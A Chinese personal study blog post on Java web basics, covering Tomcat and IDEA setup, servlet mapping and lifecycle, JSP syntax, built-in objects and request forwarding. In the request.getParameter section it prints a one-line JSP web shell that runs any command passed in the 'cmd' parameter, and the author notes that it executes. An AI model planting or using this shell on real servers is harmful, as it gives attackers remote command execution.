JAVA web暑期学习一

我这里选用的 是 tomcat8.5 + jdk8

配置tomcat环境变量和java环境变量参考 https://blog.csdn.net/qq_35607417/article/details/104062025

下载 tomcat8链接 https://tomcat.apache.org/download-80.cgi

idea常用快捷键

在这里插入图片描述

idea调试详解

F8左边这个按钮可以 在我们转到别的地方时候 回到我们调试的地方

在这里插入图片描述

在这里插入图片描述

右击断点自行增加条件

在这里插入图片描述

创建项目

创建javaweb项目 起一个tomcat服务

在这里插入图片描述

各个目录及配置

在这里插入图片描述

1
2
3
4
5
6
7
8
9
.idea存放项目的配置信息,包括历史记录,版本控制信息等。

Idea项目下的out目录是用来存放.java文件编译后的字节码文件的

scr 是放我们写的Java项目

web是存放继承HttpServlet的类。Java Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 Web 浏览器或其他 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。使用 Servlet,您可以收集来自网页表单的用户输入,呈现来自数据库或者其他源的记录,还可以动态创建网页。JavaServlet 通常情况下与使用 CGI(Common Gateway Interface,公共网关接口)实现的程序可以达到异曲同工的效果。

WEB-INF WEB-INF是Java的WEB应用的安全目录。所谓安全就是客户端无法访问,只有服务端可以访问的目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。

点击下面选项修改tomcat一些默认的配置文件

image-20210716214414306

在这里插入图片描述

servlet

servlet文件配置

值得注意的是 servlet映射在哪个路径 访问的对应路径就是哪个

如下图的 /demo 就这 Myservlet这个类的 映射出去的网址

在这里插入图片描述

servlet 生命周期

image-20210716215453436

jsp

jsp本质就是一个 servlet, jsp主要负责与用户交互,将最终的页面呈现给用户 html+css+js+java的混合文件

语法如下

在这里插入图片描述

我们在index.jsp简单练习一下

在这里插入图片描述

输出结果如下

在这里插入图片描述

jsp内置对象

在这里插入图片描述

接下来看看 request常用方法

在这里插入图片描述

getparameter方法

jsp 一句话

1
<% Runtime.getRuntime().exec(request.getParameter("cmd"));%>

可以看到执行了

在这里插入图片描述

接下来看看 dispatcher方法

这个方法是转发

在这里插入图片描述

image-20210717135112526

打开 dispatch1.jsp 可以看到我们传递的 name参数的值

在这里插入图片描述

dispatcher是转发 和 重定向不一样 重定向地址栏会变 转发不会

内置对象作用域

在这里插入图片描述

CTRL+N 打开查询界面

spring boot基础

在这里插入图片描述

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2021-2023 Wh1tecell
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~